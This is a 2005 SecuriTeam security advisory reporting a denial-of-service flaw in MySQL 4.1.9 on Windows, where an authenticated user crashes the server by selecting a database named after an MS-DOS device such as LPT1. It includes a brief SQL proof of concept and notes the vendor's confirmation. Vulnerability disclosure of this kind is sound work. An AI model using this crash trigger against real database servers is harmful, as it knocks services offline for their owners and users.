[NT] MySQL Server for Windows Device Names DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 03/15/05

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Date: 15 Mar 2005 16:04:44 +0200

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      MySQL Server for Windows Device Names DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.mysql.com> MySQL is "an attractive alternative to
    higher-cost, more complex database technology".

    A vulnerability exist within the MySQL server when it is launched under
    the Windows environment that allows a remote attacker that cause it to
    crash by using either of the two MS-DOS based device names: LPT1 and PRN.

    DETAILS

    Vulnerable Systems:
     * MySQL version 4.1.9 under Windows

    This flaw allows an authenticated user with at least one of the following
    privileges to cause a denial of service attack:
     * REFERENCES
     * CREATE TEMPORARY TABLES
     * GRANT OPTION
     * CREATE
     * SELECT

    Proof of Concept:
    1. Create a user account:
    (connected as 'root')
    use mysql;
    INSERT INTO user (Host,User,Password)
    VALUES('%','customer',PASSWORD('customer'));

    2. Grant to him one or more privileges reported above:
    (connected as 'root')
    GRANT CREATE TEMPORARY TABLES ON *.* TO 'customer'@'%';
    flush privileges;

    3. Connect to server using new account and 'use' the database 'LPT1':
    (connected as 'customer')
    use LPT1;

    Vendor Status:
    The vendor had confirm the existence of the bug:
    <http://bugs.mysql.com/bug.php?id=9148>
    http://bugs.mysql.com/bug.php?id=9148

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:io@lucaercoli.it> Luca
    Ercoli.

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